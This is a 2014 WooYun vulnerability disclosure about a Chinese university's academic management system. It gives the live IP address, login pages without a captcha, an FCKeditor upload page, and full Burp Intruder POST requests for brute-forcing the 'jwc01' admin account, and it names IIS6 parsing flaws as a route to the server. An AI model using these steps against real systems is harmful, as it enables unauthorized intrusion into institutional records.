当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083758

漏洞标题:武汉工程大学教务管理系统漏洞打包

相关厂商:武汉工程大学

漏洞作者: 小鸟游六花

提交时间:2014-11-19 10:42

修复时间:2014-11-24 10:44

公开时间:2014-11-24 10:44

漏洞类型:成功的入侵事件

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-19: 细节已通知厂商并且等待厂商处理中
2014-11-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

没事找找了自己学校教务管理的漏洞
交了好几个了求管理给个号+.+ 555

详细说明:

教务管理地址http://218.199.176.2
无验证马页面
http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
http://218.199.176.2/(4333zb55spriyp45jbnmoaza)/default3.aspx
http://218.199.176.2/(4333zb55spriyp45jbnmoaza)/default4.aspx
上传漏洞
http://218.199.176.2/fckeditor/editor/filemanager/browser/default/browser.html
无验证马页面可以直接用burp爆破
截取登陆

]T~6H)5B@BM(C(X~]4$X{JJ.jpg


3(2[9(}ZP9]PCH~XDWHVIAA.jpg


突然不知道怎么了图片上传的好慢 口述一下吧
再用sniper 改下下面这段post、
POST /(rhkakirymynkt0vmrhdlzyqb)/default2.aspx HTTP/1.1
Host: 218.199.176.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
__VIEWSTATE=§dDwtMjEzNzcwMzMxNTs7PlID9zeg3mCIe9Wnn1SY9sqI7FmA§&TextBox1=§jwc01§&TextBox2=§000000§&RadioButtonList1=§%D1%A7%C9%FA§&Button1=§§
改成这样
POST /(rhkakirymynkt0vmrhdlzyqb)/default2.aspx HTTP/1.1
Host: 218.199.176.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
__VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PlID9zeg3mCIe9Wnn1SY9sqI7Fm&TextBox1=jwc01&TextBox2=§000000§&RadioButtonList1=%D1%A7%C9%FA&Button1=
在加载字典
进行爆破
这是直接爆破jwc01管理 也可以爆破别的 经后台后可以用ii6的解析漏洞拿下服务器
再就是那个上传漏洞了 就不说什么了大家都懂

漏洞证明:

部门处长的好

9XPWT(CS83Y6{NQ4~K(1D`S.jpg


求个号学习一下555

修复方案:

加验证码设置 正确权限

版权声明:转载请注明来源 小鸟游六花@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-24 10:44

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-29 07:16 | wellsun ( 路人 | Rank:0 漏洞数:1 | www.wellsun.com)

    看标题,我知道是小鸟~~~~~~~

  2. 2015-07-16 16:20 | 小鸟游六花 ( 路人 | Rank:0 漏洞数:1 | 数据库 java php asp c htm5)

    额 不要揭发我